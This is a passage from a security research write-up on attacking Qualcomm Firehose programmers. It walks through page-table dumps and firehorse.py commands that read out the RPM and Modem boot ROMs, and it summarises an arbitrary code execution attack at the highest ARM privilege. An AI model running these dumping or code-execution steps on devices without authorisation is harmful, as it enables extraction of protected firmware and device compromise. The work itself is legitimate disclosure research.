fea00000 SECTION nx=0x1L, apx=0x0L, section_base=0xfea00000L, p=0x0L, c=0x0L, zero=0x0L, ng=0x0L, tex=0x0L, ap=0x3L, s=0x0L, b=0x1L, domain=0x0L, ns=0x0L,
feb00000 SECTION nx=0x1L, apx=0x0L, section_base=0xfeb00000L, p=0x0L, c=0x0L, zero=0x0L, ng=0x0L, tex=0x0L, ap=0x3L, s=0x0L, b=0x1L, domain=0x0L, ns=0x0L,
fec00000 PT domain=0x0L, coarse_base=0xfe805000L, p=0x0L, sbz1=0x0L, sbz2=0x0L, ns=0x1L,
fed00000 SECTION nx=0x1L, apx=0x0L, section_base=0xfed00000L, p=0x0L, c=0x0L, zero=0x0L, ng=0x0L, tex=0x0L, ap=0x3L, s=0x0L, b=0x1L, domain=0x0L, ns=0x0L,
[..]
Interestingly, the second level page table of 0xfc000000
is as follows:
Second level (va = fc000000)
---------------------------------------------
fc000000 UNSUPPORTED
fc001000 UNSUPPORTED
fc002000 UNSUPPORTED
fc003000 UNSUPPORTED
[...]
fc00e000 UNSUPPORTED
fc00f000 UNSUPPORTED
fc010000 XSMALLPAGE nx=0x0L, apx=0x1L, b=0x0L, page_base=0xfc010000L, c=0x1L, ng=0x0L, tex=0x4L, ap=0x3L, s=0x0L, desc=0xfc01033aL,
fc011000 XSMALLPAGE nx=0x0L, apx=0x1L, b=0x0L, page_base=0xfc011000L, c=0x1L, ng=0x0L, tex=0x4L, ap=0x3L, s=0x0L, desc=0xfc01133aL,
fc012000 XSMALLPAGE nx=0x0L, apx=0x1L, b=0x0L, page_base=0xfc012000L, c=0x1L, ng=0x0L, tex=0x4L, ap=0x3L, s=0x0L, desc=0xfc01233aL,
fc013000 XSMALLPAGE nx=0x0L, apx=0x1L, b=0x0L, page_base=0xfc013000L, c=0x1L, ng=0x0L, tex=0x4L, ap=0x3L, s=0x0L, desc=0xfc01333aL,
fc014000 XSMALLPAGE nx=0x0L, apx=0x1L, b=0x0L, page_base=0xfc014000L, c=0x1L, ng=0x0L, tex=0x4L, ap=0x3L, s=0x0L, desc=0xfc01433aL,
[...]
There is a noticeable hole from 0xfc000000
to 0xfc010000
(where the PBL begins), which does not exist in the 64-bit counterpart.
By dumping that range using firehorse, we got the following results:
> firehorse.py -t angler fw peek 0xfc000000 4000 fc000000.bin
> sha256 fc000000.bin
0babb8b8de094cd7630765bc2187bc5fb2cee364474e34aca05bdb20a270d302
> strings -n 8 fc000000.bin | sort | uniq
`FaFbFcFdFeFfFgF
H(`0hh`O
QUALCOMM COPYRIGHT 2013 AUTHOR: Qualcomm CoreBSP Boot, USB
./rpm/pbl_error_handler.c
./rpm/pbl_hw_init.c
./rpm/pbl_mc.c
./rpm/pbl_pmic.c
./rpm/pbl_timer.c
> firehorse.py -t angler fw peek 0xfc004000 c000 fc004000.bin
> sha256 fc004000.bin
9c1cc03f9db9ba47218e7178b53fe793fa3753f387c59acec0ab439aaabe5138
> strings -n 8 fc004000.bin | sort | uniq
`ODEM BOOT ROM VERSION: 1.0
./modem/pbl_modem_auth.c
./modem/pbl_modem_loader.c
./modem/pbl_modem_mc.c
./modem/pbl_modem_ram_init.c
./modem/pbl_modem_timer.c
MODEM PBL VERSION
M QUALCOMM COPYRIGHT
R./modem/pbl_modem_mmu.c
./shared/pbl_common.c
modem and RPM PBL themselves!
We certainly have something here! It seems the RPM PBL is in the 0xfc000000-0xfc0040000
range, where the MODEM PBL is in the 0xfc004000-0xfc010000
range.
In this part we presented an arbitrary code execution attack against Firehose programmers. We showed that such code, may get executed with the highest possible privileges in ARM processors, and can dump Boot ROMs of various such SoCs. The next part is solely dedicated for our runtime debugger, which we implemented on top of the building blocks presented in this part.